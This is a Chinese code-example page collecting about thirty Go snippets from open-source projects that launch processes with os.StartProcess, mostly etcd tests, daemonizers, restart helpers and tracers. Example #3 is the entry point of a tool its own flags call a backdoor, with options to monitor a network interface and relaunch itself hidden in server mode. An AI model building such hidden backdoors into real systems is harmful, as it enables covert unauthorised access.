Golang StartProcess示例

说明

golang startprocess示例是从最受好评的开源项目中提取的实现代码,你可以参考下面示例的使用方式。

编程语言: Golang

命名空间/包名称: os

示例#1
文件: main.go 项目: kjakapat/go-repl

func compile(w *World) *bytes.Buffer {
	ioutil.WriteFile(TEMPPATH+".go", []byte(w.source()), 0644)

	err := new(bytes.Buffer)

	re, e, _ := os.Pipe()

	attr := &os.ProcAttr{Env: os.Environ(), Files: []*os.File{nil, e, nil}}
	args := []string{bin + "/" + arch + "g", "-o", TEMPPATH + ".6", TEMPPATH + ".go"}
	os.StartProcess(bin+"/"+arch+"g", args, attr)

	e.Close()
	io.Copy(err, re)

	if err.Len() > 0 {
		return err
	}

	re, e, _ = os.Pipe()

	attr = &os.ProcAttr{Env: os.Environ(), Files: []*os.File{nil, e, nil}}
	args = []string{bin + "/" + arch + "l", "-o", TEMPPATH + "", TEMPPATH + ".6"}
	os.StartProcess(bin+"/"+arch+"l", args, attr)

	e.Close()
	io.Copy(err, re)

	return err
}

示例#2
文件: kprocess.go 项目: kxtry/kutil

func StartProcess(background bool, file string, args []string) (*os.Process, error) {
	filePath, _ := filepath.Abs(file)
	if background {
		return os.StartProcess(filePath, args, &os.ProcAttr{Files: []*os.File{nil, nil, nil}})
	}
	return os.StartProcess(filePath, args, &os.ProcAttr{Files: []*os.File{os.Stdin, os.Stdout, os.Stderr}})
}

示例#3
文件: server.go 项目: razc411/GoBD

/*
   FUNCTION: func main()
   RETURNS: Nothing

   ABOUT:
   The main loop of program execution. Allows for retreiving of flags and intiation of client / server.
*/
func main() {

	//flags
	modePtr := flag.String("mode", "client", "The mode of the application, may either be"+
		" client or server. Defaults to client.")
	ipPtr := flag.String("ip", "127.0.0.1", "The ip to connect to if in client mode.")
	portPtr := flag.Int("port", 3322, "The port to connect to in client mode, or to listen on in server mode. Defaults to 3322.")
	interfacePtr := flag.String("iface", "wlan0", "The interface for the backdoor to monitor for incoming connection, defaults to eth0.")
	lPortPtr := flag.Int("lport", 3321, "The port for the client to listen on.")
	hiddenPtr := flag.String("visible", "true", "Determines whether the server will be hidden or not. true for visible and false for invisible.")
	dstMacPtr := flag.String("dMac", "", "Destination mac of the outgoing connection.")
	//flags

	flag.Parse()

	destmac, _ = net.ParseMAC(*dstMacPtr)
	localip = GetLocalIP()
	localmac = GetLocalMAC(*interfacePtr)

	if *hiddenPtr == "false" && *modePtr == "server" {

		var procAttr os.ProcAttr
		procAttr.Files = []*os.File{os.Stdin, nil, nil}

		arguments := make([]string, 7)
		arguments[0] = ""
		arguments[1] = fmt.Sprintf("-mode=%s", *modePtr)
		arguments[2] = fmt.Sprintf("-ip=%s", *ipPtr)
		arguments[3] = fmt.Sprintf("-port=%d", *portPtr)
		arguments[4] = fmt.Sprintf("-iface=%s", *interfacePtr)
		arguments[5] = fmt.Sprintf("-lport=%d", *lPortPtr)
		arguments[6] = fmt.Sprint("-visible=invalid")
		if runtime.GOOS == "windows" {
			_, err := os.StartProcess("GoBD", arguments, &procAttr)
			checkError(err)
		} else {
			_, err := os.StartProcess("./GoBD", arguments, &procAttr)
			checkError(err)
		}
		return
	}

	intiateTools()
	intiateHandles(*interfacePtr)

	switch *modePtr {
	case "client":
		fmt.Printf("Running in client mode. Connecting to %s at port %d.\n", *ipPtr, *portPtr)
		pType = CLIENT
		intiateClient(*ipPtr, uint16(*portPtr), uint16(*lPortPtr))
		break
	case "server":
		fmt.Printf("Running in server mode. Listening on %s at port %d\n", GetLocalIP(), *portPtr)
		pType = SERVER
		beginListen(*ipPtr, uint16(*portPtr), uint16(*lPortPtr))
	}
}

示例#4
文件: single_node_recovery_test.go 项目: BREWTAN/etcd

// This test creates a single node and then set a value to it.
// Then this test kills the node and restart it and tries to get the value again.
func TestSingleNodeRecovery(t *testing.T) {
	procAttr := new(os.ProcAttr)
	procAttr.Files = []*os.File{nil, os.Stdout, os.Stderr}
	args := []string{"etcd", "-name=node1", "-data-dir=/tmp/node1"}

	process, err := os.StartProcess(EtcdBinPath, append(args, "-f"), procAttr)
	if err != nil {
		t.Fatal("start process failed:" + err.Error())
		return
	}

	time.Sleep(time.Second)

	c := etcd.NewClient(nil)

	c.SyncCluster()
	// Test Set
	result, err := c.Set("foo", "bar", 100)
	node := result.Node

	if err != nil || node.Key != "/foo" || node.Value != "bar" || node.TTL < 95 {
		if err != nil {
			t.Fatal(err)
		}

		t.Fatalf("Set 1 failed with %s %s %v", node.Key, node.Value, node.TTL)
	}

	time.Sleep(time.Second)

	process.Kill()

	process, err = os.StartProcess(EtcdBinPath, args, procAttr)
	defer process.Kill()
	if err != nil {
		t.Fatal("start process failed:" + err.Error())
		return
	}

	time.Sleep(time.Second)

	result, err = c.Get("foo", false, false)
	node = result.Node

	if err != nil {
		t.Fatal("get fail: " + err.Error())
		return
	}

	if err != nil || node.Key != "/foo" || node.Value != "bar" || node.TTL > 99 {
		if err != nil {
			t.Fatal(err)
		}
		t.Fatalf("Recovery Get failed with %s %s %v", node.Key, node.Value, node.TTL)
	}
}

示例#5
文件: etcd_test.go 项目: juliusv/etcd

// This test creates a single node and then set a value to it.
// Then this test kills the node and restart it and tries to get the value again.
func TestSingleNodeRecovery(t *testing.T) {
	procAttr := new(os.ProcAttr)
	procAttr.Files = []*os.File{nil, os.Stdout, os.Stderr}
	args := []string{"etcd", "-d=/tmp/node1"}

	process, err := os.StartProcess("etcd", append(args, "-i"), procAttr)
	if err != nil {
		t.Fatal("start process failed:" + err.Error())
		return
	}

	time.Sleep(time.Second)

	etcd.SyncCluster()
	// Test Set
	result, err := etcd.Set("foo", "bar", 100)

	if err != nil || result.Key != "/foo" || result.Value != "bar" || result.TTL != 99 {
		if err != nil {
			t.Fatal(err)
		}

		t.Fatalf("Set 1 failed with %s %s %v", result.Key, result.Value, result.TTL)
	}

	time.Sleep(time.Second)

	process.Kill()

	process, err = os.StartProcess("etcd", args, procAttr)
	defer process.Kill()
	if err != nil {
		t.Fatal("start process failed:" + err.Error())
		return
	}

	time.Sleep(time.Second)

	results, err := etcd.Get("foo")
	if err != nil {
		t.Fatal("get fail: " + err.Error())
		return
	}

	result = results[0]

	if err != nil || result.Key != "/foo" || result.Value != "bar" || result.TTL > 99 {
		if err != nil {
			t.Fatal(err)
		}
		t.Fatalf("Recovery Get failed with %s %s %v", result.Key, result.Value, result.TTL)
	}
}

示例#6
文件: monitor.go 项目: vincenzoauteri/monitor

func compileAndStart(targetDir string, appName string) (*os.Process, error) {
	var procAttr os.ProcAttr
	procAttr.Files = []*os.File{nil, os.Stdout, os.Stderr}
	args := []string{"go", "install", targetDir + appName}
	p, err := os.StartProcess(goDir+"go", args, &procAttr)
	if err != nil {
		fmt.Println(err.Error())
		return p, err
	}
	p, err = os.StartProcess(appBins+appName, nil, &procAttr)
	return p, err
}

示例#7
文件: simple_snapshot_test.go 项目: kennylixi/etcd

// TestSnapshotRestart tests etcd restarts with snapshot file
func TestSnapshotRestart(t *testing.T) {
	procAttr := new(os.ProcAttr)
	procAttr.Files = []*os.File{nil, os.Stdout, os.Stderr}
	args := []string{"etcd", "-name=node1", "-data-dir=/tmp/node1", "-snapshot=true", "-snapshot-count=500"}

	process, err := os.StartProcess(EtcdBinPath, append(args, "-f"), procAttr)
	if err != nil {
		t.Fatal("start process failed:" + err.Error())
	}

	time.Sleep(time.Second)

	c := etcd.NewClient(nil)

	c.SyncCluster()
	// issue first 501 commands
	for i := 0; i < 501; i++ {
		result, err := c.Set("foo", "bar", 100)
		node := result.Node

		if err != nil || node.Key != "/foo" || node.Value != "bar" || node.TTL < 95 {
			if err != nil {
				t.Fatal(err)
			}

			t.Fatalf("Set failed with %s %s %v", node.Key, node.Value, node.TTL)
		}
	}

	// wait for a snapshot interval
	time.Sleep(3 * time.Second)

	_, err = ioutil.ReadDir("/tmp/node1/snapshot")
	if err != nil {
		t.Fatal("list snapshot failed:" + err.Error())
	}

	process.Kill()

	process, err = os.StartProcess(EtcdBinPath, args, procAttr)
	if err != nil {
		t.Fatal("start process failed:" + err.Error())
	}
	defer process.Kill()

	time.Sleep(1 * time.Second)

	_, err = c.Set("foo", "bar", 100)
	if err != nil {
		t.Fatal(err)
	}
}

示例#8
文件: exec.go 项目: romelgomez/notas-sobre-golang

func main() {
	// 1) os.StartProcess //
	/*********************/
	/* Linux: */
	env := os.Environ()
	procAttr := &os.ProcAttr{
		Env: env,
		Files: []*os.File{
			os.Stdin,
			os.Stdout,
			os.Stderr,
		},
	}
	// 1st example: list files
	pid, err := os.StartProcess("/bin/ls", []string{"ls", "-l"}, procAttr)
	if err != nil {
		fmt.Printf("Error %v starting process!", err) //
		os.Exit(1)
	}
	fmt.Printf("The process id is %v", pid)
	// 2nd example: show all processes
	pid, err = os.StartProcess("/bin/ps", []string{"-e", "-opid,ppid,comm"}, procAttr)
	if err != nil {
		fmt.Printf("Error %v starting process!", err) //
		os.Exit(1)
	}
	fmt.Printf("The process id is %v", pid)
	/* Output 1st:
	   The process id is &{2054 0}total 2056
	   -rwxr-xr-x 1 ivo ivo 1157555 2011-07-04 16:48 Mieken_exec
	   -rw-r--r-- 1 ivo ivo    2124 2011-07-04 16:48 Mieken_exec.go
	   -rw-r--r-- 1 ivo ivo   18528 2011-07-04 16:48 Mieken_exec_go_.6
	   -rwxr-xr-x 1 ivo ivo  913920 2011-06-03 16:13 panic.exe
	   -rw-r--r-- 1 ivo ivo     180 2011-04-11 20:39 panic.go
	*/

	// 2) exec.Run //
	/***************/
	// Linux:  OK, but not for ls ?
	// cmd := exec.Command("ls", "-l")  // no error, but doesn't show anything ?
	// cmd := exec.Command("ls")  		// no error, but doesn't show anything ?
	cmd := exec.Command("gedit") // this opens a gedit-window
	err = cmd.Run()
	if err != nil {
		fmt.Printf("Error %v executing command!", err)
		os.Exit(1)
	}
	fmt.Printf("The command is %v", cmd)
	// The command is &{/bin/ls [ls -l] []  <nil> <nil> <nil> 0xf840000210 <nil> true [0xf84000ea50 0xf84000e9f0 0xf84000e9c0] [0xf84000ea50 0xf84000e9f0 0xf84000e9c0] [] [] 0xf8400128c0}
}

示例#9
文件: window.go 项目: skelterjohn/gbide

func LaunchBrowser(url string) (err os.Error) {
	if runtime.GOOS == "darwin" {
		fmt.Println([]string{"open", url})
		_, err = os.StartProcess("/usr/bin/open", []string{"open", url}, &os.ProcAttr{".", nil, nil})
	}
	if runtime.GOOS == "linux" {
		var ffp string
		ffp, err = exec.LookPath("firefox")
		if err == nil {
			fmt.Println([]string{"firefox", url})
			_, err = os.StartProcess(ffp, []string{"firefox", url}, &os.ProcAttr{".", nil, nil})
		}
	}
	return
}

示例#10
文件: main.go 项目: rainsome-org1/syncthing

func restart() {
	l.Infoln("Restarting")
	if os.Getenv("SMF_FMRI") != "" || os.Getenv("STNORESTART") != "" {
		// Solaris SMF
		l.Infoln("Service manager detected; exit instead of restart")
		stop <- true
		return
	}

	env := os.Environ()
	newEnv := make([]string, 0, len(env))
	for _, s := range env {
		if !strings.HasPrefix(s, "STRESTART=") {
			newEnv = append(newEnv, s)
		}
	}
	newEnv = append(newEnv, fmt.Sprintf("STRESTART=%d", lockPort))

	pgm, err := exec.LookPath(os.Args[0])
	if err != nil {
		l.Warnln("Cannot restart:", err)
		return
	}
	proc, err := os.StartProcess(pgm, os.Args, &os.ProcAttr{
		Env:   newEnv,
		Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
	})
	if err != nil {
		l.Fatalln(err)
	}
	proc.Release()
	stop <- true
}

示例#11
文件: main.go 项目: bcg/go-redmine

func run(argv []string) error {
	cmd, err := exec.LookPath(argv[0])
	if err != nil {
		return err
	}
	var stdin *os.File
	if runtime.GOOS == "windows" {
		stdin, _ = os.Open("CONIN$")
	} else {
		stdin = os.Stdin
	}
	p, err := os.StartProcess(cmd, argv, &os.ProcAttr{Files: []*os.File{stdin, os.Stdout, os.Stderr}})
	if err != nil {
		return err
	}
	defer p.Release()
	w, err := p.Wait()
	if err != nil {
		return err
	}
	if !w.Exited() || !w.Success() {
		return errors.New("Failed to execute text editor")
	}
	return nil
}

示例#12
文件: reload.go 项目: hongruiqi/beego

// Re-exec this image without dropping the listener passed to this function.
func Restart(l net.Listener) error {
	argv0, err := exec.LookPath(os.Args[0])
	if nil != err {
		return err
	}
	wd, err := os.Getwd()
	if nil != err {
		return err
	}
	v := reflect.ValueOf(l).Elem().FieldByName("fd").Elem()
	fd := uintptr(v.FieldByName("sysfd").Int())
	allFiles := append([]*os.File{os.Stdin, os.Stdout, os.Stderr},
		os.NewFile(fd, string(v.FieldByName("sysfile").String())))

	p, err := os.StartProcess(argv0, os.Args, &os.ProcAttr{
		Dir:   wd,
		Env:   append(os.Environ(), fmt.Sprintf("%s=%d", FDKey, fd)),
		Files: allFiles,
	})
	if nil != err {
		return err
	}
	log.Printf("spawned child %d\n", p.Pid)
	return nil
}

示例#13
文件: cluster_config_test.go 项目: BREWTAN/etcd

// Ensure that the cluster configuration can be reloaded.
func TestClusterConfigReload(t *testing.T) {
	procAttr := &os.ProcAttr{Files: []*os.File{nil, os.Stdout, os.Stderr}}
	argGroup, etcds, err := CreateCluster(3, procAttr, false)
	assert.NoError(t, err)
	defer DestroyCluster(etcds)

	resp, _ := tests.Put("http://localhost:7001/v2/admin/config", "application/json", bytes.NewBufferString(`{"activeSize":3, "removeDelay":60}`))
	assert.Equal(t, resp.StatusCode, 200)

	time.Sleep(1 * time.Second)

	resp, _ = tests.Get("http://localhost:7002/v2/admin/config")
	body := tests.ReadBodyJSON(resp)
	assert.Equal(t, resp.StatusCode, 200)
	assert.Equal(t, body["activeSize"], 3)
	assert.Equal(t, body["removeDelay"], 60)

	// kill all
	DestroyCluster(etcds)

	for i := 0; i < 3; i++ {
		etcds[i], err = os.StartProcess(EtcdBinPath, argGroup[i], procAttr)
	}

	time.Sleep(1 * time.Second)

	resp, _ = tests.Get("http://localhost:7002/v2/admin/config")
	body = tests.ReadBodyJSON(resp)
	assert.Equal(t, resp.StatusCode, 200)
	assert.Equal(t, body["activeSize"], 3)
	assert.Equal(t, body["removeDelay"], 60)
}

示例#14
文件: main.go 项目: iefbr14/gogallery

//TODO: mv to an image.go file
//TODO: use native go stuff to do the job when it's ready. as of 05/2011, at least decoding jpeg is pretty unreliable.
func needResize(pic string) bool {
	pr, pw, err := os.Pipe()
	if err != nil {
		log.Fatal(err)
	}
	args := []string{identifyBin, pic}
	fds := []*os.File{os.Stdin, pw, os.Stderr}
	p, err := os.StartProcess(args[0], args, &os.ProcAttr{Files: fds})
	if err != nil {
		log.Fatal(err)
	}
	pw.Close()
	_, err = p.Wait()
	if err != nil {
		log.Fatal(err)
	}
	buf, err := ioutil.ReadAll(pr)
	if err != nil {
		log.Fatal(err)
	}
	pr.Close()
	output := strings.Split(string(buf), " ")
	// resolution should be the 3rd one of the output of identify
	res := strings.Split(output[2], "x")
	w, err := strconv.Atoi(res[0])
	if err != nil {
		log.Fatal(err)
	}
	h, err := strconv.Atoi(res[1])
	if err != nil {
		log.Fatal(err)
	}
	return w > maxWidth || h > maxHeight
}

示例#15
文件: daemon_posix.go 项目: mcartmell/go-daemon

func (d *Context) parent() (child *os.Process, err error) {
	if err = d.prepareEnv(); err != nil {
		return
	}

	defer d.closeFiles()
	if err = d.openFiles(); err != nil {
		return
	}

	attr := &os.ProcAttr{
		Dir:   d.WorkDir,
		Env:   d.Env,
		Files: d.files(),
		Sys: &syscall.SysProcAttr{
			//Chroot:     d.Chroot,
			Credential: d.Credential,
			Setsid:     true,
		},
	}

	if child, err = os.StartProcess(d.abspath, d.Args, attr); err != nil {
		if d.pidFile != nil {
			d.pidFile.Remove()
		}
		return
	}

	d.rpipe.Close()
	encoder := json.NewEncoder(d.wpipe)
	err = encoder.Encode(d)

	return
}

示例#16
文件: sample_test.go 项目: jmptrader/tcpreloader

// this method does not inherit any fd, only inherit given fd ???
func StartNewThisWithTcpListener(l *net.TCPListener) error {
	execCmd, err := exec.LookPath(os.Args[0])
	if nil != err {
		return err
	}
	wd, err := os.Getwd()
	if nil != err {
		return err
	}
	netFD := reflect.ValueOf(l).Elem().FieldByName("fd").Elem()
	fd := uintptr(netFD.FieldByName("sysfd").Int())
	inheritedFiles := append([]*os.File{os.Stdin, os.Stdout, os.Stderr},
		os.NewFile(fd, string(netFD.FieldByName("sysfile").String())))

	//start process
	_, err = os.StartProcess(execCmd, os.Args, &os.ProcAttr{
		Dir:   wd,
		Env:   append(os.Environ(), fmt.Sprintf("%s=%d", TCP_LISTENER_KEY, fd), fmt.Sprintf("%s=%s", IS_CHILD, "true")),
		Files: inheritedFiles,
	})

	if nil != err {
		return err
	}
	return nil
}

示例#17
文件: benchmark_test.go 项目: jondot/influxdb

func (self *Server) start() error {
	if self.p != nil {
		return fmt.Errorf("Server is already running with pid %d", self.p.Pid)
	}

	fmt.Printf("Starting server")
	dir, err := os.Getwd()
	if err != nil {
		return err
	}

	root := filepath.Join(dir, "..", "..")
	filename := filepath.Join(root, "server")
	p, err := os.StartProcess(filename, []string{filename, "-cpuprofile", "/tmp/cpuprofile"}, &os.ProcAttr{
		Dir:   root,
		Env:   os.Environ(),
		Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
	})
	if err != nil {
		return err
	}
	self.p = p
	time.Sleep(2 * time.Second)
	return nil
}

示例#18
文件: ptrace_test.go 项目: hjr265/ptrace.go

func TestSyscall(t *testing.T) {
	proc, err := os.StartProcess("/usr/bin/ls", []string{"ls", "/"}, &os.ProcAttr{
		Sys: &syscall.SysProcAttr{
			Ptrace: true,
		},
	})
	catch(err)

	time.Sleep(1 * time.Nanosecond)

	tracer, err := Attach(proc)
	catch(err)

	for {
		no, err := tracer.Syscall(syscall.Signal(0))
		if err == syscall.ESRCH {
			t.Logf("Syscall() threw %v", err)
			break
		}
		if err != nil {
			t.Errorf("Syscall() threw %v", err)
			break
		}

		t.Logf("Syscall() = %v", no)
	}
}

示例#19
文件: restart.go 项目: badoo/thunder

func forkExec(save_files []*os.File) (*os.Process, error) {
	binary, err := lookPath()
	if err != nil {
		return nil, err
	}

	wd, err := os.Getwd()
	if err != nil {
		return nil, err
	}

	files := []*os.File{
		os.Stdin,
		os.Stdout,
		os.Stderr,
	}
	files = append(files, save_files...)

	attr := &os.ProcAttr{
		Dir:   wd,
		Env:   os.Environ(),
		Files: files,
		Sys:   &syscall.SysProcAttr{},
	}
	child, err := os.StartProcess(binary, os.Args, attr)
	if err != nil {
		return nil, err
	}

	return child, nil
}

示例#20
文件: listener.go 项目: sunjiahz/goproxy

func StartProcess() (*os.Process, error) {
	argv0, err := exec.LookPath(os.Args[0])
	if err != nil {
		return nil, err
	}

	files := make([]*os.File, 0)
	files = append(files, os.Stdin)
	files = append(files, os.Stdout)
	files = append(files, os.Stderr)

	for _, key := range os.Environ() {
		if strings.HasPrefix(key, ENV_PREFIX) {
			parts := strings.SplitN(key, "=", 2)
			if fd, err := strconv.Atoi(parts[1]); err == nil {
				if err = noCloseOnExec(uintptr(fd)); err != nil {
					files = append(files, os.NewFile(uintptr(fd), key))
				}
			}
		}
	}

	return os.StartProcess(argv0, os.Args, &os.ProcAttr{
		Dir:   path.Dir(argv0),
		Env:   os.Environ(),
		Files: files,
		Sys:   &syscall.SysProcAttr{},
	})
}

示例#21
文件: process.go 项目: rpeterson/goforever

//Start the process
func (p *Process) start(name string) {
	p.Name = name
	wd, _ := os.Getwd()
	proc := &os.ProcAttr{
		Dir: wd,
		Env: os.Environ(),
		Files: []*os.File{
			os.Stdin,
			NewLog(p.Logfile),
			NewLog(p.Errfile),
		},
	}
	if p.Args == nil {
		p.Args = []string{}
	}
	process, err := os.StartProcess(p.Command, p.Args, proc)
	if err != nil {
		log.Fatalf("%s failed. %s", p.Name, err)
		return
	}
	err = p.Pidfile.write(process.Pid)
	if err != nil {
		log.Printf("%s pidfile error: %s", p.Name, err)
		return
	}
	p.x = process
	p.Pid = process.Pid
	fmt.Printf("%s is %#v\n", p.Name, process.Pid)
	p.Status = "started"
}

示例#22
文件: tracer.go 项目: yan/grace

// LoadExecutable opens binaryName, passing it args and attempts to exec it.
// Note, the process does not begin executing main() until after StartExecutable
// is called.
func LoadExecutable(binaryName string, args []string) (proc *Process, err error) {
	if _, ok := os.Stat(binaryName); ok != nil {
		proc, err = nil, &os.PathError{"LoadExecutable", binaryName, ok}
		return
	}

	var started *os.Process
	attr := &os.ProcAttr{
		Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
		Sys:   &syscall.SysProcAttr{Ptrace: true},
	}
	if p, ok := os.StartProcess(binaryName, args, attr); ok != nil {
		proc, err = nil, &os.PathError{"LoadExecutable", binaryName, ok}
		return
	} else {
		started = p
	}

	proc = new(Process)
	proc.Pid = started.Pid
	proc.Memory, _ = getMemoryMap(proc.Pid)
	proc.Filename = binaryName
	proc.DebugSymbols, err = ExtractSymbolTable(binaryName, 0)
	proc.Breakpoints = []*Breakpoint{}

	return
}

示例#23
文件: main.go 项目: andradeandrey/goissue

func run(argv []string) os.Error {
	cmd, err := exec.LookPath(argv[0])
	if err != nil {
		return err
	}
	var stdin *os.File
	if syscall.OS == "windows" {
		stdin, _ = os.Open("CONIN$")
	} else {
		stdin = os.Stdin
	}
	p, err := os.StartProcess(cmd, argv, &os.ProcAttr{Files: []*os.File{stdin, os.Stdout, os.Stderr}})
	if err != nil {
		return err
	}
	defer p.Release()
	w, err := p.Wait(0)
	if err != nil {
		return err
	}
	if !w.Exited() || w.ExitStatus() != 0 {
		return os.NewError("failed to execute text editor")
	}
	return nil
}

示例#24
文件: client.go 项目: dyxu/vimrc

func try_run_server() error {
	path := get_executable_filename()
	args := []string{os.Args[0], "-s", "-sock", *g_sock, "-addr", *g_addr}
	cwd, _ := os.Getwd()

	var err error
	stdin, err := os.Open(os.DevNull)
	if err != nil {
		return err
	}
	stdout, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0)
	if err != nil {
		return err
	}
	stderr, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0)
	if err != nil {
		return err
	}

	procattr := os.ProcAttr{Dir: cwd, Env: os.Environ(), Files: []*os.File{stdin, stdout, stderr}}
	p, err := os.StartProcess(path, args, &procattr)
	if err != nil {
		return err
	}

	return p.Release()
}

示例#25
文件: server.go 项目: hyc/influxdb

func (self *Server) Start() error {
	if self.p != nil {
		return fmt.Errorf("Server is already running with pid %d", self.p.Pid)
	}

	fmt.Printf("Starting server")
	dir, err := os.Getwd()
	if err != nil {
		return err
	}

	root := filepath.Join(dir, "..", "..")
	filename := filepath.Join(root, "daemon")
	if self.configFile == "" {
		self.configFile = "src/integration/test_config_single.toml"
	}
	args := []string{filename, "-config", self.configFile}
	args = append(args, self.args...)
	p, err := os.StartProcess(filename, args, &os.ProcAttr{
		Dir:   root,
		Env:   os.Environ(),
		Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
	})
	if err != nil {
		return err
	}
	self.p = p
	return nil
}

示例#26
文件: daemon.go 项目: postfix/service

// Psuedo-forks by re-executing the current binary with a special command line
// argument telling it not to re-execute itself again. Returns true in the
// parent process and false in the child.
func Fork() (isParent bool, err error) {
	if os.Args[len(os.Args)-1] == forkedArg {
		os.Args = os.Args[0 : len(os.Args)-1]
		return false, nil
	}

	newArgs := make([]string, 0, len(os.Args))
	newArgs = append(newArgs, exepath.Abs)
	newArgs = append(newArgs, os.Args[1:]...)
	newArgs = append(newArgs, forkedArg)

	// Start the child process.
	//
	// Pass along the standard FD for now - we'll remap them to /dev/null
	// in due time. This ensures anything expecting these to exist isn't confused,
	// and allows pre-daemonization failures to at least get output to somewhere.
	proc, err := os.StartProcess(exepath.Abs, newArgs, &os.ProcAttr{
		Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
	})
	if err != nil {
		return true, err
	}

	proc.Release()
	return true, nil
}

示例#27
文件: main.go 项目: KayoticSully/syncthing

func restart() {
	l.Infoln("Restarting")
	if os.Getenv("SMF_FMRI") != "" || os.Getenv("STNORESTART") != "" {
		// Solaris SMF
		l.Infoln("Service manager detected; exit instead of restart")
		stop <- true
		return
	}

	env := os.Environ()
	if len(os.Getenv("STRESTART")) == 0 {
		env = append(env, "STRESTART=1")
	}
	pgm, err := exec.LookPath(os.Args[0])
	if err != nil {
		l.Warnln(err)
		return
	}
	proc, err := os.StartProcess(pgm, os.Args, &os.ProcAttr{
		Env:   env,
		Files: []*os.File{os.Stdin, os.Stdout, os.Stderr},
	})
	if err != nil {
		l.Fatalln(err)
	}
	proc.Release()
	stop <- true
}

示例#28
文件: proc_container.go 项目: topfreegames/apm

// Start will execute the command Cmd that should run the process. It will also create an out, err and pidfile
// in case they do not exist yet.
// Returns an error in case there's any.
func (proc *Proc) Start() error {
	outFile, err := utils.GetFile(proc.Outfile)
	if err != nil {
		return err
	}
	errFile, err := utils.GetFile(proc.Errfile)
	if err != nil {
		return err
	}
	wd, _ := os.Getwd()
	procAtr := &os.ProcAttr{
		Dir: wd,
		Env: os.Environ(),
		Files: []*os.File{
			os.Stdin,
			outFile,
			errFile,
		},
	}
	args := append([]string{proc.Name}, proc.Args...)
	process, err := os.StartProcess(proc.Cmd, args, procAtr)
	if err != nil {
		return err
	}
	proc.process = process
	proc.Pid = proc.process.Pid
	err = utils.WriteFile(proc.Pidfile, []byte(strconv.Itoa(proc.process.Pid)))
	if err != nil {
		return err
	}

	proc.Status.SetStatus("started")
	return nil
}

示例#29
文件: mount_linux.go 项目: JeremyOT/go-fuse

// Create a FUSE FS on the specified mount point.  The returned
// mount point is always absolute.
func mount(mountPoint string, options string) (fd int, err error) {
	local, remote, err := unixgramSocketpair()
	if err != nil {
		return
	}

	defer local.Close()
	defer remote.Close()

	cmd := []string{fusermountBinary, mountPoint}
	if options != "" {
		cmd = append(cmd, "-o")
		cmd = append(cmd, options)
	}
	proc, err := os.StartProcess(fusermountBinary,
		cmd,
		&os.ProcAttr{
			Env:   []string{"_FUSE_COMMFD=3"},
			Files: []*os.File{os.Stdin, os.Stdout, os.Stderr, remote}})

	if err != nil {
		return
	}

	w, err := proc.Wait()
	if err != nil {
		return
	}
	if !w.Success() {
		err = fmt.Errorf("fusermount exited with code %v\n", w.Sys())
		return
	}

	return getConnection(local)
}

示例#30
文件: types.go 项目: dsubhajit/oh

func (t *Task) Execute(arg0 string, argv []string, attr *os.ProcAttr) (*Status, error) {

	t.Lock()

	if jobControlEnabled() {
		attr.Sys = SysProcAttr(t.Group)
	}

	proc, err := os.StartProcess(arg0, argv, attr)
	if err != nil {
		t.Unlock()
		return nil, err
	}

	if jobControlEnabled() {
		if t.Group == 0 {
			t.Group = proc.Pid
		}
	}

	t.pid = proc.Pid

	t.Unlock()

	status := JoinProcess(proc)

	if jobControlEnabled() {
		if t.Group == t.pid {
			t.Group = 0
		}
	}
	t.pid = 0

	return NewStatus(int64(status)), err
}

展开阅读全文